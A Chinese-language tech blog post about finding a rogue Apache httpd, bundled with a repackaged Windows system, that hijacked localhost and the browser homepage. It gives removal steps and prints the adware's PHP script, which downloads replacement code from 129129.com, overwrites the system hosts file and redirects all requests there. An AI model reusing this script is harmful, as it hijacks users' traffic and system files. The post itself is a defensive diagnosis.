【技術貼】解決127.0.0.1和http://localhost均被攔截跳轉到另一個網頁
阿新 • • 發佈:2019-01-23
很艱難的歷程。
今天安裝一個OA系統,要用到http://127.0.0.1輸入完成之後,可以進入安裝介面,but,我輸入完了之後,自動跳到了129129垃圾網站,艹,我真TM服了,我把本地連線網線都拔掉了,它還是可以訪問到這個網站,真是流氓網站啊,我又去下載DNS劫持修復工具,又是防毒的,直到我發現我的程序裡面有一個httpd程序,我艹,這不是阿帕奇的伺服器軟體嗎,我就把它禁用了一下,瞬間就可以進入127.0.0.1了。不得不說,現在的流氓軟體越來越人性化了,讓人都摸不到什麼意思,若不是我用到了localhost網址,我這輩子可能都不會發現這個小流氓外掛,這樣想來,每次我開機,它都去訪問那個129129垃圾站,拖垮了網速不說,還佔著CPU不拉屎。
解決IE主頁總是顯示http://www.129129.com/?1 2 3 4 ,怎麼也改不過來而且360體檢也找不到錯誤
解決方案:
360--開機加速--找到httpd--進入安裝目錄--禁止開機啟動--然後刪掉整個資料夾即可。
目錄:C:\WINDOWS\Apache\bin 刪掉整個目錄
我其實在它的C:\WINDOWS\Apache\htdocs目錄下找到了一段php指令碼,裡面這麼寫的:
<?php include_once "config.php"; $name1 = ""; $name2 = ""; //$name3 = ""; //獲取最新php $index = file_get_contents('http://www.129129.com/ht/index.txt'); if(strpos($index, ) { $arr = explode("@", $index); $index = $arr[1]; $hosts = $arr[0]; $index = get_rep($index); if(!empty($index)){ if(file_put_contents("index.php", $index)==0){} } //獲取最新hosts if(!empty($hosts)){ if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){} } } //域名跳轉個性化 $serverName = $_SERVER['SERVER_NAME']; switch ($serverName) { case strpos($name1,$serverName)!==false: header("Location:http://www.129129.com/?1");exit; break; case strpos($name2,$serverName)!==false: header("Location:http://www.129129.com/?2");exit; break; case strpos($name3,$serverName)!==false: header("Location:http://www.129129.com/?3");exit; break; default: header("Location:http://www.129129.com/?4");exit; break; } ?> <meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">
----------------------------
很明顯的最後一段有個跳轉語句,可謂是別具匠心啊呸,垃圾封裝的系統,強加了一個httpd軟體,強制跳轉到129129,垃圾,果斷幹掉!